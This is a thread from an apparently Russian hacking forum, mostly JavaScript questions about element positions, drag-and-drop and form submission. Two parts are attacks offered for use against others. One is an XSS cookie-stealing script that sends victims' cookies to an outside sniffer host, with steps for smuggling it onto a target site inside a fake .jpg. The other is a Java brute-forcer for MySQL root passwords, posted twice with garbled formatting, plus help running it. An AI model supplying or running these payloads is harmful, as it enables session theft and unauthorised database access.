[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    astrologer, но это не валидно
     
  2. orcismylife

    orcismylife Elder - Старейшина

    Joined:
    1 Oct 2007
    Messages:
    22
    Likes Received:
    6
    Reputations:
    0
    Я двигаю слой. Как узнать текущее положение слоя по x и по у? А впоследствии записать эти значения в файл.
     
  3. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    offsetLeft и offsetTop.
    А в файл самим JS не запишешь (если мы говорим о клиенте).
    На серве легче всего средствами php. Передаешь из JS-скрипта значения на PHP-скрипт, и записываешь их в файл.
     
  4. orcismylife

    orcismylife Elder - Старейшина

    Joined:
    1 Oct 2007
    Messages:
    22
    Likes Received:
    6
    Reputations:
    0
    VDShark, не получилось, FF вообще не показывает такой параметр, а IE пишет "undefinied" =\

    Вот пример того, что я делаю, помоги пожалуйста :)
    http://webfile.ru/1860086

    надо, чтобы скрипт показывал текущее положение слоя по х и по у
     
    #444 orcismylife, 9 Apr 2008
    Last edited: 9 Apr 2008
  5. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Isis, можно поменять на title или хранить отдельно в массиве.

    orcismylife,
    Code:
    window.onload = function()
    {
      var node = document.getElementById('drag1');
      alert('offsetTop: ' + node.offsetTop + '\n' + 'offsetLeft: ' + node.offsetLeft);
    };
     
  6. orcismylife

    orcismylife Elder - Старейшина

    Joined:
    1 Oct 2007
    Messages:
    22
    Likes Received:
    6
    Reputations:
    0
    astrologer, нужно чтобы при каждом дропе писалось значение, а не толко при старте :(
    Это возможно, учитывая те яваскрипты, которые я дал в архиве?
     
  7. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Я лишь показал, что значение всё же определено.
    А вообще, думаю, тебе пригодится DOM-Drag.js (автор не я):
    Code:
    /**************************************************
     * dom-drag.js
     * 09.25.2001
     * www.youngpup.net
     **************************************************
     * 10.28.2001 - fixed minor bug where events
     * sometimes fired off the handle, not the root.
     **************************************************/
    
    var Drag = {
    
    	obj : null,
    
    	init : function(o, oRoot, minX, maxX, minY, maxY, bSwapHorzRef, bSwapVertRef, fXMapper, fYMapper)
    	{
    		o.onmousedown	= Drag.start;
    
    		o.hmode			= bSwapHorzRef ? false : true ;
    		o.vmode			= bSwapVertRef ? false : true ;
    
    		o.root = oRoot && oRoot != null ? oRoot : o ;
    
    		if (o.hmode  && isNaN(parseInt(o.root.style.left  ))) o.root.style.left   = "0px";
    		if (o.vmode  && isNaN(parseInt(o.root.style.top   ))) o.root.style.top    = "0px";
    		if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right  = "0px";
    		if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = "0px";
    
    		o.minX	= typeof minX != 'undefined' ? minX : null;
    		o.minY	= typeof minY != 'undefined' ? minY : null;
    		o.maxX	= typeof maxX != 'undefined' ? maxX : null;
    		o.maxY	= typeof maxY != 'undefined' ? maxY : null;
    
    		o.xMapper = fXMapper ? fXMapper : null;
    		o.yMapper = fYMapper ? fYMapper : null;
    
    		o.root.onDragStart	= new Function();
    		o.root.onDragEnd	= new Function();
    		o.root.onDrag		= new Function();
    	},
    
    	start : function(e)
    	{
    		var o = Drag.obj = this;
    		e = Drag.fixE(e);
    		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
    		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
    		o.root.onDragStart(x, y);
    
    		o.lastMouseX	= e.clientX;
    		o.lastMouseY	= e.clientY;
    
    		if (o.hmode) {
    			if (o.minX != null)	o.minMouseX	= e.clientX - x + o.minX;
    			if (o.maxX != null)	o.maxMouseX	= o.minMouseX + o.maxX - o.minX;
    		} else {
    			if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
    			if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
    		}
    
    		if (o.vmode) {
    			if (o.minY != null)	o.minMouseY	= e.clientY - y + o.minY;
    			if (o.maxY != null)	o.maxMouseY	= o.minMouseY + o.maxY - o.minY;
    		} else {
    			if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
    			if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
    		}
    
    		document.onmousemove	= Drag.drag;
    		document.onmouseup		= Drag.end;
    
    		return false;
    	},
    
    	drag : function(e)
    	{
    		e = Drag.fixE(e);
    		var o = Drag.obj;
    
    		var ey	= e.clientY;
    		var ex	= e.clientX;
    		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
    		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
    		var nx, ny;
    
    		if (o.minX != null) ex = o.hmode ? Math.max(ex, o.minMouseX) : Math.min(ex, o.maxMouseX);
    		if (o.maxX != null) ex = o.hmode ? Math.min(ex, o.maxMouseX) : Math.max(ex, o.minMouseX);
    		if (o.minY != null) ey = o.vmode ? Math.max(ey, o.minMouseY) : Math.min(ey, o.maxMouseY);
    		if (o.maxY != null) ey = o.vmode ? Math.min(ey, o.maxMouseY) : Math.max(ey, o.minMouseY);
    
    		nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
    		ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));
    
    		if (o.xMapper)		nx = o.xMapper(y)
    		else if (o.yMapper)	ny = o.yMapper(x)
    
    		Drag.obj.root.style[o.hmode ? "left" : "right"] = nx + "px";
    		Drag.obj.root.style[o.vmode ? "top" : "bottom"] = ny + "px";
    		Drag.obj.lastMouseX	= ex;
    		Drag.obj.lastMouseY	= ey;
    
    		Drag.obj.root.onDrag(nx, ny);
    		return false;
    	},
    
    	end : function()
    	{
    		document.onmousemove = null;
    		document.onmouseup   = null;
    		Drag.obj.root.onDragEnd(	parseInt(Drag.obj.root.style[Drag.obj.hmode ? "left" : "right"]), 
    									parseInt(Drag.obj.root.style[Drag.obj.vmode ? "top" : "bottom"]));
    		Drag.obj = null;
    	},
    
    	fixE : function(e)
    	{
    		if (typeof e == 'undefined') e = window.event;
    		if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
    		if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
    		return e;
    	}
    };
    Тут нужно только необходимые параметры указать.
     
  8. servior

    servior New Member

    Joined:
    27 Feb 2007
    Messages:
    5
    Likes Received:
    2
    Reputations:
    0
    Вопрос к отцам. подскажите как вставить код xss-ки в jpg?
     
  9. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    ды очень просто. берёш запихиваеш код передачи куков на сниф
    Code:
    <script>img = new Image(); img.src = "http://antichat.org/s/red.gif?"+document.cookie;</script>
    в текст документ и сохраняеш с расширением .jpg и пытаешся залить эту картинку на сайт жертвы. если есть фильтрация то скажет что формат не поддерживается.. если нет то картинка загрузится и значит xss есть

    вот пример такой уязвимости хсс в картинке на яндэксе
    http://narod.yandex.ru/community/photo/48/156948.jpg

    скрипт в картинке можно залить в поле Фотография когда создаёш сообщество.

    но такие хсс в картинках актуальны только под осликом
     
  10. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    интерпретатор джава скрипта уже установлен в винде C:\WINDOWS\system32\cscript.exe

    а выполнять java скрипты можно например так

    создаёш текстовый документ пишеш в нём
    Code:
    <script>
    тут твой скрипт
    </script>
    
    и сохраняеш с расширением .html

    или например если хочеш выполнить скрипт который у тебя находится в файле скрипт.js то создаёш текстовый документ пишеш в нём

    Code:
    <script src="путь к срипту/скрипт.js"></script>
    и сохраняеш с расширением .html
     
  11. Rogun

    Rogun Elder - Старейшина

    Joined:
    12 Feb 2008
    Messages:
    76
    Likes Received:
    4
    Reputations:
    0
    Что то я правильно всё сделал открываю и просто высвечивается белый экран по адресу file://localhost/C:/scrtipt_name.html (открывается при юзании фаила)
    Это поидее скрипт для брута MySQL базы если к ней есть доступ не только с localhost (не хэша!):

    Code:
    /*  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
    +This is a little Disclaimer for if you havn't read the on on our site.	              	+  +The tools and 
    tutorials KD-Team develops and publishes are only ment 
    for        	+  +educational purpose only.WE DO 
    NOT encourage the use of this tools and       	+  
    +tutorials for mailicious purpose.We learned a lot during 
    the development of them	+  +so we hope you also 
    learn and don't just use it without any brains.	
    	+  +We take completly NO responsability for any 
    damage caused by them nor	+  +are we or our isp 
    responsible for what you do with them.  		
    	+  +Greetz: KD-Team				
    		+  + http://www.kd-team.com		
    			+  
    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
    */    /*   * Created on 1-okt-2005   * SSLClient v0.1   * 
    TODO:   * 		- implement logger   *   * Credits:   *   * Author: KD-Team   */  import java.sql.*;  
    import java.io.*;    public class BruteMySql  {  	
    public static void main(String[] args)  	{  		
    BufferedReader passwordReader;  		String 
    curPass = "";  		String passFileName = "pass.txt";  		Connection con = null;    			try  			{  				Class.forName("com.mysql.jdbc.Driver");  			}  			catch (ClassNotFoundException cnfe)  			{  				cnfe.printStackTrace();  				System.exit(0);  			}    			try  			{  				passwordReader = new BufferedReader(new FileReader(passFileName));  				while((curPass = passwordReader.readLine()) != null)  				{  					try  					{  						String url ="jdbc:mysql://
    ***.***.***,***:3306/";  				
    		DriverManager.setLoginTimeout(7);  	
    					con = 
    DriverManager.getConnection(url,"root", curPass);  	
    				}  			
    		catch(SQLException sqle)  		
    			{  				
    		//just ignore the password which are 
    incorrect  					}    	
    				if(con != null)  		
    			{  				
    		con.close();  				
    		break;  				
    	}  				}  		
    	}  			
    catch(FileNotFoundException fnfe)  			{  
    				System.out.println("file 
    with passes not found");  				
    return;  			}  			
    catch(IOException ioe)  			{  	
    			
    System.out.println(ioe.getStackTrace());  				return;  			}  			catch(SQLException sqle)  		
    	{  				//ignore if we aren't able to close the connection  			}    
    			System.out.println("CORRECT 
    PASS: " + curPass);  	}  }
    
    
     
    #451 Rogun, 9 Apr 2008
    Last edited: 10 Apr 2008
  12. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    Rogun
    это не javasript это Java два разных языка
    так же как и vbscript (Visual Basic Script) и Basic
     
    #452 ZET36, 10 Apr 2008
    Last edited: 10 Apr 2008
    1 person likes this.
  13. Rogun

    Rogun Elder - Старейшина

    Joined:
    12 Feb 2008
    Messages:
    76
    Likes Received:
    4
    Reputations:
    0
    оО а я думаю, что то не то=/ а как запустить это? :confused: а то там всё равно текстовый фаил в формате "JAVA" через cmd он просто тупо открывается как тестовик ....
    Code:
    /*  ++++++++++++++++++++++++++++++++++++++++++++++++++  +++++++  
    +This is a little Disclaimer for if you havn't read the on on our site.	              	+  +The tools and 
    tutorials KD-Team develops and publishes are only ment 
    for        	+  +educational purpose only.WE DO 
    NOT encourage the use of this tools and       	+  
    +tutorials for mailicious purpose.We learned a lot during 
    the development of them	+  +so we hope you also 
    learn and don't just use it without any brains.	
    	+  +We take completly NO responsability for any 
    damage caused by them nor	+  +are we or our isp 
    responsible for what you do with them.  		
    	+  +Greetz: KD-Team				
    		+  + http://www.kd-team.com		
    			+  
    ++++++++++++++++++++++++++++++++++++++++++++++++++  +++++++  
    */    /*   * Created on 1-okt-2005   * SSLClient v0.1   * 
    TODO:   * 		- implement logger   *   * Credits:   *   * Author: KD-Team   */  import java.sql.*;  
    import java.io.*;    public class BruteMySql  {  	
    public static void main(String[] args)  	{  		
    BufferedReader passwordReader;  		String 
    curPass = "";  		String passFileName = "pass.txt";  		Connection con = null;    			try  			{  				Class.forName("com.mysql.jdbc.Driver");  			}  			catch (ClassNotFoundException cnfe)  			{  				cnfe.printStackTrace();  				System.exit(0);  			}    			try  			{  				passwordReader = new BufferedReader(new FileReader(passFileName));  				while((curPass = passwordReader.readLine()) != null)  				{  					try  					{  						String url ="jdbc:mysql://
    ***.***.***.***:3306/";  				
    		DriverManager.setLoginTimeout(7);  	
    					con = 
    DriverManager.getConnection(url,"root", curPass);  	
    				}  			
    		catch(SQLException sqle)  		
    			{  				
    		//just ignore the password which are 
    incorrect  					}    	
    				if(con != null)  		
    			{  				
    		con.close();  				
    		break;  				
    	}  				}  		
    	}  			
    catch(FileNotFoundException fnfe)  			{  
    				System.out.println("file 
    with passes not found");  				
    return;  			}  			
    catch(IOException ioe)  			{  	
    			
    System.out.println(ioe.getStackTrace());  				return;  			}  			catch(SQLException sqle)  		
    	{  				//ignore if we aren't able to close the connection  			}    
    			System.out.println("CORRECT 
    PASS: " + curPass);  	}  }
     
    #453 Rogun, 10 Apr 2008
    Last edited: 10 Apr 2008
  14. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    скачай java компилятор
    http://qiq.ru/28/12/2006/programmy/jdk_and_jre___60.html

    и вот почитай как запустить программу на java
    http://coffeevarka.narod.ru/javatut/chap12.html
     
    #454 ZET36, 10 Apr 2008
    Last edited: 10 Apr 2008
    1 person likes this.
  15. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    народ, как сделать чтоб форма по нажатию ентера отправлялась???
     
  16. VDShark

    VDShark Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    260
    Likes Received:
    158
    Reputations:
    62
    HTML:
    <html>
    <head>
    	<script type="text/javascript">
    		function subm(frm){
    			if(event.keyCode == '13') frm.submit();
    		}
    	</script>
    </head>
    <body>
    	<form onkeypress="subm(this);">
    		<textarea></textarea>
    	</form>
    </body>
    </html>
    
    Нечто вроди такого... другой вопрос что на энтер м.б.не оч удобно - но думаю по подобию сделаешь.
     
    1 person likes this.
  17. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3

    спасиб, сработало, только onkeypress нада было не в form а в input запихивать

    а блин облом, onkeypress срабатывает принажатии любой кнопки. так что не возмозно ввести ничо в поля
     
    #457 Корвин, 10 Apr 2008
    Last edited: 10 Apr 2008
  18. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Ctrl + Enter
    Code:
    <html>
    <head>
    <script type="text/javascript">
    
    function process(node, e)
    {
      if(e.ctrlKey && e.keyCode == 13) node.submit();
    };
    
    </script>
    </head>
    <body>
    
    <form onkeypress="process(this, event);">
      <textarea></textarea>
      <input type="text">
    </form>
    
    </body>
    </html>
     
  19. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    мне нужно просто ентер
     
  20. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    1) В поле <input type="text"> нажатие энтера отправляет форму и без скрипта.
    2) В поле <textarea> нужно как-то ставить перенос строки, верно?
     
    #460 astrologer, 10 Apr 2008
    Last edited: 10 Apr 2008
Thread Status:
Not open for further replies.